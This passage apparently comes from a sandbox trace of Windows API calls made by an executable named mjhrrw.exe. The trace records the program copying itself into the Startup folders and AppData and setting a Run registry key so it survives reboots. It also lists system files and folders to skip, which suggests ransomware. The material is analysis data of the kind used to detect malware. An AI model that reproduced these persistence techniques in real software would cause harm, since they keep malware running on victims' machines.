0xc16858 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x7a) returned 0xc21ff0 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x10) returned 0xc2f838 [0209.919] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fcf4 | out: phkResult=0x95fcf4*=0x204) returned 0x0 [0209.919] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x95fcf0, lpData=0xc21ff0, lpcbData=0x95fcf8*=0x7a | out: lpType=0x95fcf0*=0x2, lpData=0xc21ff0*=0x70, lpcbData=0x95fcf8*=0x98) returned 0xea [0209.919] RegCloseKey (hKey=0x204) returned 0x0 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f838 | out: hHeap=0xc10000) returned 1 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc16858, Size=0xf2) returned 0xc21388 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0xf2) returned 0xc21220 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0209.919] GetProcessHeap () returned 0xc10000 [0209.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x10) returned 0xc2f670 [0209.919] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fcf4 | out: phkResult=0x95fcf4*=0x204) returned 0x0 [0209.920] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x95fcf0, lpData=0xc21220, lpcbData=0x95fcf8*=0xf2 | out: lpType=0x95fcf0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95fcf8*=0x98) returned 0x0 [0209.920] RegCloseKey (hKey=0x204) returned 0x0 [0209.920] GetProcessHeap () returned 0xc10000 [0209.920] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f670 | out: hHeap=0xc10000) returned 1 [0209.920] GetProcessHeap () returned 0xc10000 [0209.920] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eca0 [0209.920] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fcf4 | out: phkResult=0x95fcf4*=0x204) returned 0x0 [0209.920] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fcf0, lpData=0xc212b8, lpcbData=0x95fcf8*=0x5a | out: lpType=0x95fcf0*=0x0, lpData=0xc212b8*=0x1a, lpcbData=0x95fcf8*=0x5a) returned 0x2 [0209.920] RegCloseKey (hKey=0x204) returned 0x0 [0209.920] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fd08 | out: phkResult=0x95fd08*=0x204) returned 0x0 [0209.920] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fd04, lpData=0xc212b8, lpcbData=0x95fd0c*=0x5a | out: lpType=0x95fd04*=0x2, lpData=0xc212b8*=0x1a, lpcbData=0x95fd0c*=0x78) returned 0xea [0209.920] RegCloseKey (hKey=0x204) returned 0x0 [0209.920] GetProcessHeap () returned 0xc10000 [0209.920] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eca0 | out: hHeap=0xc10000) returned 1 [0209.920] GetProcessHeap () returned 0xc10000 [0209.920] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0209.920] GetProcessHeap () returned 0xc10000 [0209.920] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21220 | out: hHeap=0xc10000) returned 1 [0209.920] GetProcessHeap () returned 0xc10000 [0209.921] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc21388, Size=0x1e2) returned 0xc237e8 [0209.921] GetProcessHeap () returned 0xc10000 [0209.921] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e2) returned 0xc2f270 [0209.921] GetProcessHeap () returned 0xc10000 [0209.921] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc239d8 [0209.921] GetProcessHeap () returned 0xc10000 [0209.921] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x10) returned 0xc2f7a8 [0209.921] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fcf4 | out: phkResult=0x95fcf4*=0x204) returned 0x0 [0209.921] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x95fcf0, lpData=0xc2f270, lpcbData=0x95fcf8*=0x1e2 | out: lpType=0x95fcf0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95fcf8*=0x98) returned 0x0 [0209.921] RegCloseKey (hKey=0x204) returned 0x0 [0209.921] GetProcessHeap () returned 0xc10000 [0209.921] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f7a8 | out: hHeap=0xc10000) returned 1 [0209.921] GetProcessHeap () returned 0xc10000 [0209.921] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef70 [0209.921] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fcf4 | out: phkResult=0x95fcf4*=0x204) returned 0x0 [0209.921] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fcf0, lpData=0xc2f308, lpcbData=0x95fcf8*=0x14a | out: lpType=0x95fcf0*=0x0, lpData=0xc2f308*=0x0, lpcbData=0x95fcf8*=0x14a) returned 0x2 [0209.921] RegCloseKey (hKey=0x204) returned 0x0 [0209.921] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fd08 | out: phkResult=0x95fd08*=0x204) returned 0x0 [0209.921] RegQueryValueExW (in: hKey=0x204, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fd04, lpData=0xc2f308, lpcbData=0x95fd0c*=0x14a | out: lpType=0x95fd04*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95fd0c*=0x78) returned 0x0 [0209.921] RegCloseKey (hKey=0x204) returned 0x0 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef70 | out: hHeap=0xc10000) returned 1 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc239d8 | out: hHeap=0xc10000) returned 1 [0209.922] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xc237e8, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f270 | out: hHeap=0xc10000) returned 1 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22620 | out: hHeap=0xc10000) returned 1 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eea8 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x12) returned 0xc287f8 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x12) returned 0xc28578 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc239d8 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc239d8 | out: hHeap=0xc10000) returned 1 [0209.922] ExpandEnvironmentStringsW (in: lpSrc="sfor.txt", lpDst=0xc287f8, nSize=0x9 | out: lpDst="sfor.txt") returned 0x9 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28578 | out: hHeap=0xc10000) returned 1 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eea8 | out: hHeap=0xc10000) returned 1 [0209.922] GetProcessHeap () returned 0xc10000 [0209.922] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc2f270 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc33ae8 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc33d00 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc33f18 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc34130 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc34348 [0209.923] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc33ae8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc34560 [0209.923] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc34560, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc34560 | out: hHeap=0xc10000) returned 1 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc34560 [0209.923] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc34560, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc34560 | out: hHeap=0xc10000) returned 1 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc34560 [0209.923] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc34560, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0209.923] GetProcessHeap () returned 0xc10000 [0209.923] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc34560 | out: hHeap=0xc10000) returned 1 [0209.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mjhrrw.exe"), bFailIfExists=0) returned 1 [0210.451] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x95fdec | out: phkResult=0x95fdec*=0x204) returned 0x0 [0210.452] RegSetValueExW (hKey=0x204, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData=0xc33f18, cbData=0x50) returned 0x5 [0210.452] RegCloseKey (hKey=0x204) returned 0x0 [0210.452] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x95fe00 | out: phkResult=0x95fe00*=0x204) returned 0x0 [0210.452] RegSetValueExW (in: hKey=0x204, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe", cbData=0x50 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe") returned 0x0 [0210.452] RegCloseKey (hKey=0x204) returned 0x0 [0210.452] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt"), bFailIfExists=1) returned 0 [0210.453] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt")) returned 0xffffffff [0210.453] GetProcessHeap () returned 0xc10000 [0210.453] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x118) returned 0xc2e530 [0210.453] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 0 [0210.454] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0210.455] GetFileAttributesW (lpFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0210.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 0 [0210.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0210.456] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2e530 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc287f8 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f270 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc33ae8 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc33d00 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc33f18 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc34130 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc34348 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1ff58 | out: hHeap=0xc10000) returned 1 [0210.456] GetProcessHeap () returned 0xc10000 [0210.457] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22140 | out: hHeap=0xc10000) returned 1 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc237e8 | out: hHeap=0xc10000) returned 1 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f100 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f088 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2f0d8 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0210.457] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f088, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0210.457] GetProcessHeap () returned 0xc10000 [0210.457] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0210.457] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fe14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fe14*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f088 | out: hHeap=0xc10000) returned 1 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc275b0 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f7f0 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x190) returned 0xc219c0 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x60) returned 0xc1ff58 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x5a) returned 0xc1e8f8 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc1e8f8, Size=0xb2) returned 0xc21760 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x184) returned 0xc237e8 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f658 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc2f270 [0210.458] GetProcessHeap () returned 0xc10000 [0210.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x250) returned 0xc33ae8 [0210.459] GetProcessHeap () returned 0xc10000 [0210.459] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0xa0) returned 0xc344a0 [0210.459] GetProcessHeap () returned 0xc10000 [0210.459] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x96) returned 0xc21ff0 [0210.459] GetProcessHeap () returned 0xc10000 [0210.459] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x96) returned 0xc20170 [0210.459] GetProcessHeap () returned 0xc10000 [0210.459] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc1e2b8 [0210.469] GetProcessHeap () returned 0xc10000 [0210.469] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e2b8 | out: hHeap=0xc10000) returned 1 [0210.470] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0xc21ff0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc344a0 | out: hHeap=0xc10000) returned 1 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x70) returned 0xc1e8f8 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x62) returned 0xc1e6b8 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x62) returned 0xc22140 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0210.470] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc1e6b8, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22140 | out: hHeap=0xc10000) returned 1 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc1e6b8, Size=0xc2) returned 0xc21888 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0xc2) returned 0xc21628 [0210.470] GetProcessHeap () returned 0xc10000 [0210.470] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0210.471] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc21888, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21628 | out: hHeap=0xc10000) returned 1 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e8f8 | out: hHeap=0xc10000) returned 1 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc34d48 [0210.471] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc34d48, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc34d48 | out: hHeap=0xc10000) returned 1 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x24e) returned 0xc34d48 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc34d48, Size=0x3cc) returned 0xc34d48 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x98) returned 0xc20170 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc20170, Size=0xae) returned 0xc229c8 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x6a) returned 0xc1e8f8 [0210.471] GetProcessHeap () returned 0xc10000 [0210.471] HeapFree 